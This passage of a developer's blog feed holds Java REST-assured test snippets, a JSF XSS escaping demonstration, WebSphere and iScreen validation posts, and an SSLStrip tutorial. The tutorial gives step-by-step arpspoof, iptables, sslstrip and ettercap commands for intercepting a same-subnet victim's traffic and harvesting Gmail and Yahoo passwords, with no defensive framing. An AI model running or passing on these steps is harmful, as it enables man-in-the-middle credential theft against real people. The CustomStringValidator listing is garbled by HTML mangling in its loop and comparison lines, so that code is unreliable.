.expect().statusCode(307)
.when()
.post("/RestFullDayTrader/resources/pending_orders/100").getHeader("Location");
// b) test Location Header
assertTrue(location.contains("pending_orders/100"));
</pre>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-23969280872362643442011-06-08T14:39:00.002+05:302011-06-08T14:42:37.508+05:30REST-assured Tricks How to test Array of values -XMLRESTful web services often return multiple values. Some times in form of an array.To test for multiple values we can use .hasItems()<br />
hasItems() works only for JSON. For XML we have to use <code>hasXPath()</code><br />
<pre class="prettyprint lang-java">// test multiple values
String result= given().header("accept", "application/xml")
.expect()
.body(hasXPath("//symbol[text()='SYM9']"),hasXPath("//symbol[text()='SYM1']"))
.when()
.get("/RestFullDayTrader/resources/quotes").asString();</pre>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-39992302107446217112011-06-08T14:35:00.000+05:302011-06-08T14:35:10.065+05:30REST-assured Tricks How to test Array of values -JSONRESTful web services often return multiple values. Some times in form of an array.<br />
To test for multiple values we can use <code>.hasItems()</code><br />
hasItems() works only for JSON<br />
<pre class="prettyprint lang-java">// test multiple values
String result= given().header("accept", "application/json")
.expect().body("quote.symbol", hasItems("SYMBOLICIC9","SYMBOLICIC1","SYMBOLICIC9"))
.when()
.get("/RestFullDayTrader/resources/quotes").asString();
</pre>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com1tag:blogger.com,1999:blog-7811313566645564123.post-46144700870019028082011-06-08T12:02:00.000+05:302011-06-08T12:02:33.804+05:30REST-assured Tricks How to test custom content type?The <code>.contentType(ContentType.JSON)</code> supports limited set of contentypes.ie,. ANY,TEXT,JSON,XML,HTML,URLENC and BINARY.<br />
In RestFul applications we also create custom types. for Eg I created <code>application/vnd.useraccountprofile+json</code><br />
REST-assured can be used to test any content. The trick is the use <code>.header()</code> <br />
<pre class="prettyprint lang-java" >result= given().contentType(ContentType.JSON)
.body(userAccountProfile.toString())
.header("accept", "application/vnd.useraccountprofile+json")
.header("Content-Type", "application/vnd.useraccountprofile+json")
.when()
.put("/RestFullDayTrader/resources/acct/"+useraccountid+";profile")
.expect().body("openbalance", equalTo(121),"useraccountid",notNullValue())
.asString();
</pre>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-46517710851550990692011-06-08T11:45:00.002+05:302011-06-08T11:50:33.156+05:30REST-assured Tricks How to test a value in JSONUse <code>equalTo()</code><br />
When the value is a string use single quotes '121'<br />
In the below example the openbalance is a property of useraccount. useraccount is the JSON object name in the JSON.<br />
Some implementation does not return the object name. In such cases replace "useraccount.openbalance" with "openbalance" <br />
<br />
<pre class="prettyprint lang-java">String result = given().header("accept", "application/json")
.contentType(ContentType.XML).body(xmlBody)
.expect().body("useraccount.openbalance", equalTo(121),"useraccount.useraccountid",notNullValue())
.when().post("/RestFullDayTrader/resources/acct").asString();
</pre>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-10211867016518160992011-06-08T10:57:00.001+05:302011-06-08T11:50:18.315+05:30REST-assured Tricks How to test for 307 Temporary Redirect ?Testing for 307 has two parts a) test http status code b) test http header Location<br />
<pre class="prettyprint lang-java" >String xmlBody = "<orderData><orderType>BUY</orderType><quantity>44</quantity><useraccountid>10</useraccountid></orderData>";
//xml payload
String location = given()
.body(xmlBody)
.contentType(ContentType.XML).body(xmlBody)
// a) test http status code 307
.expect().statusCode(307)
.when()
.post("/RestFullDayTrader/resources/pending_orders/100").getHeader("Location");
System.out.println(" Location " + location);
// b) test http header Location
assertTrue(location1.contains("pending_orders/100"));</pre>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-29911791895045346572011-06-07T18:21:00.002+05:302011-06-07T18:37:11.289+05:30Test code using prettify<pre class="prettyprint lang-java linenums">public void testReliablePostBuy() throws Exception {
System.out.println("testReliablePostBuy");
String xmlBody = "<orderdata><ordertype>BUY</orderType><quantity>44</quantity><symbol>SYMBOLICIC1</symbol><useraccountid>10</useraccountid></orderData>";
//xml
</pre><a href="http://stackoverflow.com/questions/1852537/how-to-use-prettify-with-blogger-blogspot">How to use prettify with blogger/blogspot?</a>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-69186984269880819682009-12-01T01:22:00.001+05:302009-12-01T05:44:17.884+05:30Secure applications with JSF JSF2 XSS<p align="justify">Securing web-applications with JSF2 is lot more easier. Java EE provides a lot of security features.Lets examine these features under the context of OWASP top Ten actually try to hack the application and analyze the results.</p> <p align="justify"><strong>XSS or CrossSite Scripting </strong>: Protection against XSS is inbuilt and available by default. I have created sample application using Netbeans. It has a kool code generator for jsf2 crud operations. </p> <p>Jsf code to display a field. <strong><h:outputText value="#{item.description}" /> </strong></p> <p>Lets inject XSS vector from <a href="http://ha.ckers.org/xss.html">http://ha.ckers.org/xss.html</a> .</p> <p>Result after injecting javascript into description fields </p> <p><a href="http://lh6.ggpht.com/_We5O4sZMyIU/SxQibR04c2I/AAAAAAAAAGg/jEdEdAip2pE/s1600-h/ProductListWithEscape%5B7%5D.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ProductListWithEscape" border="0" alt="ProductListWithEscape" src="http://lh5.ggpht.com/_We5O4sZMyIU/SxQibsJeFUI/AAAAAAAAAGk/ZHOTcqZK5Qg/ProductListWithEscape_thumb%5B5%5D.jpg?imgmax=800" width="463" height="262" /></a> </p> <p>Note that the javascript is displayed in the table as is. It is not executed. Another screen shot with IE</p> <p><a href="http://lh3.ggpht.com/_We5O4sZMyIU/SxQibq0wGpI/AAAAAAAAAGo/SDVvTXoO0Ac/s1600-h/ProductListWithEscapeIE%5B6%5D.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ProductListWithEscapeIE" border="0" alt="ProductListWithEscapeIE" src="http://lh6.ggpht.com/_We5O4sZMyIU/SxQib1JGKAI/AAAAAAAAAGw/HX_E4Nd1wpk/ProductListWithEscapeIE_thumb%5B4%5D.jpg?imgmax=800" width="463" height="262" /></a> </p> <p>I got similar result with Chrome.</p> <p>Modified the jsf not to handle XSS <strong><h:outputText value="#{item.description}" escape="false"/></strong></p> <p>Popup in FireFox</p> <p><a href="http://lh3.ggpht.com/_We5O4sZMyIU/SxQicHamC2I/AAAAAAAAAG0/lyCwx3SUL-E/s1600-h/ProductListWithOutEscapeFF%5B8%5D.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ProductListWithOutEscapeFF" border="0" alt="ProductListWithOutEscapeFF" src="http://lh3.ggpht.com/_We5O4sZMyIU/SxQicU6h3fI/AAAAAAAAAHA/ydoob_SXVPI/ProductListWithOutEscapeFF_thumb%5B6%5D.jpg?imgmax=800" width="463" height="262" /></a> </p> <p>Hacked Result in FF</p> <p><a href="http://lh6.ggpht.com/_We5O4sZMyIU/SxQickvfwhI/AAAAAAAAAHE/yQmFAt-EFow/s1600-h/ProductListWithOutEscapeFF2%5B5%5D.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ProductListWithOutEscapeFF2" border="0" alt="ProductListWithOutEscapeFF2" src="http://lh3.ggpht.com/_We5O4sZMyIU/SxQic70bkTI/AAAAAAAAAHI/7WiggZgYKp0/ProductListWithOutEscapeFF2_thumb%5B3%5D.jpg?imgmax=800" width="463" height="262" /></a> </p> <p></p> <p>Hacked Result in IE</p> <p><a href="http://lh5.ggpht.com/_We5O4sZMyIU/SxQidFFYiHI/AAAAAAAAAHY/0wvTb3NNqKA/s1600-h/ProductListWithOutEscapeIE%5B9%5D.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ProductListWithOutEscapeIE" border="0" alt="ProductListWithOutEscapeIE" src="http://lh5.ggpht.com/_We5O4sZMyIU/SxQid6C9vRI/AAAAAAAAAHc/e9Ic0HiCSDg/ProductListWithOutEscapeIE_thumb%5B7%5D.jpg?imgmax=800" width="463" height="262" /></a> </p> <p>Hacked Result in Chrome, Interestingly Chrome was not able to render the page.</p> <p><a href="http://lh4.ggpht.com/_We5O4sZMyIU/SxQid0n4VAI/AAAAAAAAAHo/inllDLwFfM4/s1600-h/ProductListWithOutEscapeChrome%5B5%5D.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ProductListWithOutEscapeChrome" border="0" alt="ProductListWithOutEscapeChrome" src="http://lh4.ggpht.com/_We5O4sZMyIU/SxQieGUz6uI/AAAAAAAAAHw/WfrKweI0qgw/ProductListWithOutEscapeChrome_thumb%5B3%5D.jpg?imgmax=800" width="463" height="262" /></a> </p> <p>Conclusion jsf provides XSS protection by Default. I soon present results of more attacks.</p> Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com1tag:blogger.com,1999:blog-7811313566645564123.post-10428597639011848852009-09-10T13:27:00.003+05:302009-09-10T15:41:52.514+05:30SSLStrip Step by Step on Ubuntu<div xmlns="http://www.w3.org/1999/xhtml">SSLStrip used along with MITM to hack SSL websites.<br />You will need following tools<br /><ol><li>SSLStrip</li><li>arpspoof</li><li>ettercap</li><li>Ubuntu Linux</li><li>Internet Connection</li><li>Victim has to be in the same subnet</li></ol>Step 1:- Download SSLStrip from http://www.thoughtcrime.org/software/sslstrip/<br /><img src="http://lh4.ggpht.com/_We5O4sZMyIU/SqiniFsrVUI/AAAAAAAAADU/GYaHH8SLJ4E/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /><br />Step 2:- Unzip the downloaded files use "tar -zxvf sslstrip-0.4.tar.gz"<br /><img src="http://lh3.ggpht.com/_We5O4sZMyIU/SqiohBoi0DI/AAAAAAAAADY/77HeqwjeuK4/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /><br /><br />Step 3:- Build SSLStrip change directory to unzip folder run "python setup.py build"<br /><img src="http://lh5.ggpht.com/_We5O4sZMyIU/Sqipa3WtV8I/AAAAAAAAADc/ujWlhZX2uW0/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /><br />Step 4:- Install SSLStrip run "sudo python setup.py install" , Requires root privilages<br /><img src="http://lh5.ggpht.com/_We5O4sZMyIU/SqiqHwVFsdI/AAAAAAAAADg/lgp-IKA3SE4/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /><br />Step 5:- Install arpspoof "sudo apt-get install dsniff"<br /><img src="http://lh5.ggpht.com/_We5O4sZMyIU/SqiqrW__PKI/AAAAAAAAADk/h1scxF0XD-I/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /><br />Step 6:- Install ettercap "sudo apt-get install ettercap"<br /><img src="http://lh3.ggpht.com/_We5O4sZMyIU/SqirB0_7xMI/AAAAAAAAADo/4OaWUVJrcvM/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /><br /><br />Step 7:- Verify you ipaddress "ifconfig" Notice the hackers ip is 172.168.1.3<br /><img src="http://lh4.ggpht.com/_We5O4sZMyIU/Sqirl8NYeeI/AAAAAAAAADs/VRb9946-A20/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /><br /><img src="http://lh3.ggpht.com/_We5O4sZMyIU/Sqir-ZVRjzI/AAAAAAAAADw/8eN_zqtU2aE/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /><br />Step 8:- Verify your default gateway "ip route show | grep default | awk '{ print $3}' "<br /><img src="http://lh6.ggpht.com/_We5O4sZMyIU/Sqisj8yuzuI/AAAAAAAAAD0/c69f0vuMVuM/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /><br />Note : This hack works only if victims gateway address is same as that of the Hacker. (172.168.1.1 in the above example)<br /><br />Step 9:- Create three different tabs in your terminal window. We need to run three commands parallely. In first tab run " sudo arpspoof -t 172.168.1.4 172.168.1.1"<br /><img src="http://lh6.ggpht.com/_We5O4sZMyIU/SqiuM1KWDeI/AAAAAAAAAD4/UFzqdepx-Ig/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /><br /><br />Step 10:- Second tab run "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000"<br />and run "sslstrip"<br /><br /><img src="http://lh4.ggpht.com/_We5O4sZMyIU/SqivZJKTjVI/AAAAAAAAAD8/YkskTW56khM/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /><br />Step 11:- In the thisd tab run ettercap. Ethercap will print all the password it sniffed on the console. "sudo ettercap -Tqz"<br /><img src="http://lh6.ggpht.com/_We5O4sZMyIU/SqiwDUpsyrI/AAAAAAAAAEA/8K0TWTucfag/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /><br />Step 12:- Wait for the victim to login to gmail , yahoo etc.. the passwords will be printed on ettercap console.<br /></div>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com7tag:blogger.com,1999:blog-7811313566645564123.post-68466404046718805312009-02-14T17:22:00.002+05:302009-02-14T17:30:16.692+05:30jkookOFCTags ReleasedjkookOFCTags Released<br />Download <a href="https://sourceforge.net/project/platformdownload.php?group_id=181934">link</a><br /><br />jkookOFCTags is a jsp tag library for drawing flash charts. It is based on famous<a href="http://teethgrinder.co.uk/open-flash-chart-2/"> Open Flash Chart project </a><br />It extends of <a href="http://code.google.com/p/ofcj/">Open Flash Chart 2.x Library for Java</a><br />Depends on xstream1.3.1Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-30106069509288408952009-02-14T13:55:00.007+05:302009-02-14T14:22:07.880+05:30Installing metro on WebSphere6.1Installing metro on WebSphere6.1. WithOut installing feature pack<br /><span id="fullpost"><br />Create you web application.<br />Most important change is add<br />com.sun.xml.ws.transport.http.servlet.WSServlet and your webservices entries in web.xml and sun-jaxws.xml<br /><br />Create EAR file<br /><br />META-INF---\<br /> Application.xml<br />webmodule.war---\<br /> META-INF --\<br /> MANIFEST.MF<br />webservices-api.jar<br />webservices-extra.jar<br />webservices-extra-api.jar<br />webservices-rt.jar<br />webservices-tools.jar<br /><br /><br />Remove conflicting jars from WEB-INF/lib<br />jaxb-api-1.5.jar<br />jaxb-impl-1.5.jar<br />jaxb-libs-1.5.jar<br />jaxb-xjc-1.5.jar<br />jaxrpc-api-1.1.jar<br />jaxrpc-impl-1.1.jar<br />jaxrpc-spi-1.1.jar<br />xerces-2.0.2.jar<br />xml-apis-2.0.2.jar<br /><br /><br />Contents of Application.XML<br /><pre><br /><br /><span class="line-number"> 1</span><br /><br /><span class="line-number"> 2</span> <span class="xml-tag"><application</span> <span class="xml-attribute">id</span>=<span class="xml-value">"Application_ID1"</span><span class="xml-tag">></span><br /><br /><span class="line-number"> 3</span> <span class="xml-tag"><display-name</span><span class="xml-tag">></span>MyEnterpriseApplication<span class="xml-tag"></display-name</span><span class="xml-tag">></span><br /><br /><span class="line-number"> 4</span> <span class="xml-tag"><module</span> <span class="xml-attribute">id</span>=<span class="xml-value">"WarModule"</span><span class="xml-tag">></span><br /><br /><span class="line-number"> 5</span> <span class="xml-tag"><web</span><span class="xml-tag">></span><br /><br /><span class="line-number"> 6</span> <span class="xml-tag"><web-uri</span><span class="xml-tag">></span>webmodule.war<span class="xml-tag"></web-uri</span><span class="xml-tag">></span><br /><br /><span class="line-number"> 7</span> <span class="xml-tag"><context-root</span><span class="xml-tag">></span>/metrowebservices<span class="xml-tag"></context-root</span><span class="xml-tag">></span><br /><br /><span class="line-number"> 8</span> <span class="xml-tag"></web</span><span class="xml-tag">></span><br /><br /><span class="line-number"> 9</span> <span class="xml-tag"></module</span><span class="xml-tag">></span><br /><br /><span class="line-number">10</span> <span class="xml-tag"></application</span><span class="xml-tag">></span><br /><br /><span class="line-number">11</span><br /><br /></pre><br /><br /><br />add following line to MANIFEST.MF<br />Class-Path: webservices-api.jar webservices-extra.jar webservices-extra-api.jar webservices-rt.jar webservices-tools.jar<br /><br /><br />Finally<br />ON IBM administration console<br />select : Classes loaded with application class loader first<br /><br /></span>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com2tag:blogger.com,1999:blog-7811313566645564123.post-35960522571782356742009-01-25T16:50:00.001+05:302009-01-25T16:53:56.131+05:30What is a good passwordVery nice article on Good passwords. <a href="http://www.microsoft.com/protect/yourself/password/create.mspx"><br />Strong password</a><br /><span id="fullpost"><a href="http://www.microsoft.com/protect/yourself/password/checker.mspx">Check your password strength</a></span>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-1357492967527572832008-09-17T15:20:00.010+05:302008-09-22T17:14:15.298+05:30iScreen Validation in web application<div xmlns="http://www.w3.org/1999/xhtml">iScreen validations provides server side validations. It provides elaborate documentation on how to implement your validations. There are two kinds of projects which need iScreen.<br />1) Project is in initial phases<br />2) Project is in advanced stages and we suddenly discover that there are no server side validations.<br />The later use case is challenging and tricky. This is my first blog entry in a series where I ll discuss how we have effectively implemented iScreen in a large project which has around 1600 separate screens.<br /><br /><b>Handling String Arrays</b><br /><span id="fullpost"><br />iScreen provides 'org.iscreen.StringValidator'. It provides length validation. However it does not handle values in an array. In our code we are passing requestMap as object to be validated. The requesr map contains request paramters as keys and values as haspmap value. Servlet creates an array of values when there are multiple fields with same name in the html form. The following code will not validate all the values in the "orderId" field.<br /><br /><use-validator ref="org.iscreen.StringValidator" name="orderId"><br /> <mapping from="#root.orderId" to="value" /><br /> <label>Order Id</label><br /> <constraint property="minLength">10</constraint><br /> <constraint property="maxLength">10</constraint><br /></use-validator><br /><br />First solution is modify the OGNL expression. The ognl expression will check the data type if it is an array then pass the first value in the array. The updated code<br /><br /><use-validator ref="org.iscreen.StringValidator" name="orderId"><br /> <mapping from="#root.orderId instanceof java.lang.String[] ? </span>#root.orderId[0] : root.orderId" to="value" /><br /> <label>Order Id</label><br /> <constraint property="minLength">10</constraint><br /> <constraint property="maxLength">10</constraint><br /></use-validator><br /><br />The above code will only validate the first value in the array. This not sufficient in most cases<br /><br />Solution is to extend the org.iscreen.StringValidator to handle array of values.<br />Following is the modified StringValidator class.<br /><br /><table width="100%"><tbody><tr><td align="center">CustomStringValidator.java</td></tr></tbody></table> <pre><span class="line-number"> 1</span> <span class="comment">/*</span><br /><span class="line-number"> 2</span> <span class="comment"> * Copyright 2006 Dan Shellman</span><br /><span class="line-number"> 3</span> <span class="comment"> *</span><br /><span class="line-number"> 4</span> <span class="comment"> * Licensed under the Apache License, Version 2.0 (the "License");</span><br /><span class="line-number"> 5</span> <span class="comment"> * you may not use this file except in compliance with the License.</span><br /><span class="line-number"> 6</span> <span class="comment"> * You may obtain a copy of the License at</span><br /><span class="line-number"> 7</span> <span class="comment"> *</span><br /><span class="line-number"> 8</span> <span class="comment"> * http://www.apache.org/licenses/LICENSE-2.0</span><br /><span class="line-number"> 9</span> <span class="comment"> *</span><br /><span class="line-number">10</span> <span class="comment"> * Unless required by applicable law or agreed to in writing, software</span><br /><span class="line-number">11</span> <span class="comment"> * distributed under the License is distributed on an "AS IS" BASIS,</span><br /><span class="line-number">12</span> <span class="comment"> * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.</span><br /><span class="line-number">13</span> <span class="comment"> * See the License for the specific language governing permissions and</span><br /><span class="line-number">14</span> <span class="comment"> * limitations under the License.</span><br /><span class="line-number">15</span> <span class="comment"> */</span><br /><span class="line-number">16</span> <span class="keyword-directive">package</span> org.iscreen.validators;<br /><span class="line-number">17</span><br /><span class="line-number">18</span> <span class="keyword-directive">import</span> org.iscreen.SimpleBean;<br /><span class="line-number">19</span> <span class="keyword-directive">import</span> org.iscreen.ValidatorContext;<br /><span class="line-number">20</span><br /><span class="line-number">21</span> <span class="comment">/**</span><br /><span class="line-number">22</span> <span class="comment"> * </span><span class="comment">The</span> <span class="comment">CustomStringValidator</span> <span class="comment">checks</span> <span class="comment">the</span> <span class="comment">length</span> <span class="comment">of</span> <span class="comment">the</span> <span class="comment">given</span> <span class="comment">value</span> <span class="comment">in</span> <span class="comment">an</span> <span class="comment">array</span><span class="comment">.</span><br /><span class="line-number">23</span> <span class="comment"> *</span><br /><span class="line-number">24</span> <span class="comment"> * </span><span class="ST0">@author</span> <span class="comment">Shrikant</span> <span class="comment">Sarda</span><br /><span class="line-number">25</span> <span class="comment">*/</span><br /><span class="line-number">26</span> <span class="keyword-directive">public</span> <span class="keyword-directive">class</span> CustomStringValidator <span class="keyword-directive">extends</span> StringValidator {<br /><span class="line-number">27</span><br /><span class="line-number">28</span> <span class="comment">/**</span><br /><span class="line-number">29</span> <span class="comment"> * </span><span class="comment">Default</span> <span class="comment">constructor</span><span class="comment">.</span><br /><span class="line-number">30</span> <span class="comment">*/</span><br /><span class="line-number">31</span> <span class="keyword-directive">public</span> CustomStringValidator() {<br /><span class="line-number">32</span> } <span class="comment">//end StringValidator()</span><br /><span class="line-number">33</span><br /><span class="line-number">34</span> <span class="keyword-directive">public</span> <span class="keyword-directive">void</span> validate(ValidatorContext context, Object beanToValidate) {<br /><span class="line-number">35</span> String value;<br /><span class="line-number">36</span> <span class="keyword-directive">int</span> valueLength;<br /><span class="line-number">37</span> String[] arrValue = <span class="keyword-directive">null</span>;<br /><span class="line-number">38</span><br /><span class="line-number">39</span> <span class="keyword-directive">if</span> (beanToValidate != <span class="keyword-directive">null</span> && ((SimpleBean) beanToValidate).getValue() != <span class="keyword-directive">null</span>) {<br /><span class="line-number">40</span> <span class="keyword-directive">if</span> (((SimpleBean) beanToValidate).getValue() <span class="keyword-directive">instanceof</span> String[]) {<br /><span class="line-number">41</span> arrValue = (String[]) ((SimpleBean) beanToValidate).getValue();<br /><span class="line-number">42</span> }<br /><span class="line-number">43</span> }<br /><span class="line-number">44</span><br /><span class="line-number">45</span> <span class="keyword-directive">if</span> (arrValue != <span class="keyword-directive">null</span>) {<br /><span class="line-number">46</span> <span class="comment">//System.out.println("in if");</span><br /><span class="line-number">47</span> <span class="comment">//String[] customBeanToValidate = (String[])beanToValidate;</span><br /><span class="line-number">48</span> <span class="keyword-directive">for</span> (<span class="keyword-directive">int</span> i = 0; i < class="line-number">49 value = arrValue[i];<br /><span class="line-number">50</span> <span class="keyword-directive">if</span> (value == <span class="keyword-directive">null</span>) {<br /><span class="line-number">51</span> <span class="keyword-directive">if</span> (minLength != <span class="keyword-directive">null</span> && minLength.intValue() > 0) {<br /><span class="line-number">52</span> context.reportFailure(nullFailure);<br /><span class="line-number">53</span> }<br /><span class="line-number">54</span><br /><span class="line-number">55</span> <span class="keyword-directive">return</span>;<br /><span class="line-number">56</span> }<br /><span class="line-number">57</span><br /><span class="line-number">58</span> valueLength = value.length();<br /><span class="line-number">59</span> <span class="keyword-directive">if</span> (minLength != <span class="keyword-directive">null</span> &&<br /><span class="line-number">60</span> valueLength < class="line-number">61 context.reportFailure(minLengthFailure, <span class="keyword-directive">new</span> Integer(valueLength));<br /><span class="line-number">62</span> } <span class="keyword-directive">else</span> <span class="keyword-directive">if</span> (maxLength != <span class="keyword-directive">null</span> && maxLength.intValue() == 1 &&<br /><span class="line-number">63</span> valueLength == 1) {<br /><span class="line-number">64</span> <span class="comment">//System.out.println("valueLength,78:" + valueLength + ",value:" + value);</span><br /><span class="line-number">65</span> } <span class="keyword-directive">else</span> <span class="keyword-directive">if</span> (maxLength != <span class="keyword-directive">null</span> &&<br /><span class="line-number">66</span> valueLength > maxLength.intValue()) {<br /><span class="line-number">67</span> context.reportFailure(maxLengthFailure, <span class="keyword-directive">new</span> Integer(valueLength));<br /><span class="line-number">68</span> }<br /><span class="line-number">69</span><br /><span class="line-number">70</span> } <span class="comment">//end for</span><br /><span class="line-number">71</span> }<span class="comment">// end if</span><br /><span class="line-number">72</span> <span class="keyword-directive">else</span> {<br /><span class="line-number">73</span> <span class="comment">//System.out.println("in else");</span><br /><span class="line-number">74</span> value = getStringValue(beanToValidate);<br /><span class="line-number">75</span> <span class="keyword-directive">if</span> (value == <span class="keyword-directive">null</span>) {<br /><span class="line-number">76</span> <span class="keyword-directive">if</span> (minLength != <span class="keyword-directive">null</span> && minLength.intValue() > 0) {<br /><span class="line-number">77</span> context.reportFailure(nullFailure);<br /><span class="line-number">78</span> }<br /><span class="line-number">79</span><br /><span class="line-number">80</span> <span class="keyword-directive">return</span>;<br /><span class="line-number">81</span> }<br /><span class="line-number">82</span><br /><span class="line-number">83</span> valueLength = value.length();<br /><span class="line-number">84</span> <span class="keyword-directive">if</span> (minLength != <span class="keyword-directive">null</span> &&<br /><span class="line-number">85</span> valueLength < class="line-number">86 context.reportFailure(minLengthFailure, <span class="keyword-directive">new</span> Integer(valueLength));<br /><span class="line-number">87</span> } <span class="keyword-directive">else</span> <span class="keyword-directive">if</span> (maxLength != <span class="keyword-directive">null</span> && maxLength.intValue() == 1 &&<br /><span class="line-number">88</span> valueLength == 1) {<br /><span class="line-number">89</span> <span class="comment">//System.out.println("valueLength,113:" + valueLength + ",value:" + value);</span><br /><span class="line-number">90</span> } <span class="keyword-directive">else</span> <span class="keyword-directive">if</span> (maxLength != <span class="keyword-directive">null</span> &&<br /><span class="line-number">91</span> valueLength > maxLength.intValue()) {<br /><span class="line-number">92</span> <span class="comment">//System.out.println("valueLength,119:" + valueLength + ",value:" + value);</span><br /><span class="line-number">93</span> context.reportFailure(maxLengthFailure, <span class="keyword-directive">new</span> Integer(valueLength));<br /><span class="line-number">94</span> }<br /><span class="line-number">95</span> }<span class="comment">//end else</span><br /><span class="line-number">96</span> } <span class="comment">//end validate()</span><br /><span class="line-number">97</span> } <span class="comment">//end CustomStringValidator</span><br /><span class="line-number">98</span><br /><span class="line-number">99</span><br /></pre><br /></div><br /></span>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-3211878000159886332008-09-15T12:31:00.001+05:302008-09-15T12:31:01.834+05:30Posting from ScribeFire<div xmlns='http://www.w3.org/1999/xhtml'>Posting from ScribFire. Checkout Vikrant<br/><br/><span id='fullpost'><br/></span><span id='fullpost'>Today i have downloaded ScribFire and testing the same<br/><img width='378' height='283' src='http://lh4.ggpht.com/gmkumar2005/SM4HyN8VOCI/AAAAAAAAACU/kK7aRJfIvnM/%5BUNSET%5D.jpg' style='max-width: 800px;'/><br/></span><span id='fullpost'/><span id='fullpost'><br/></span></div>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0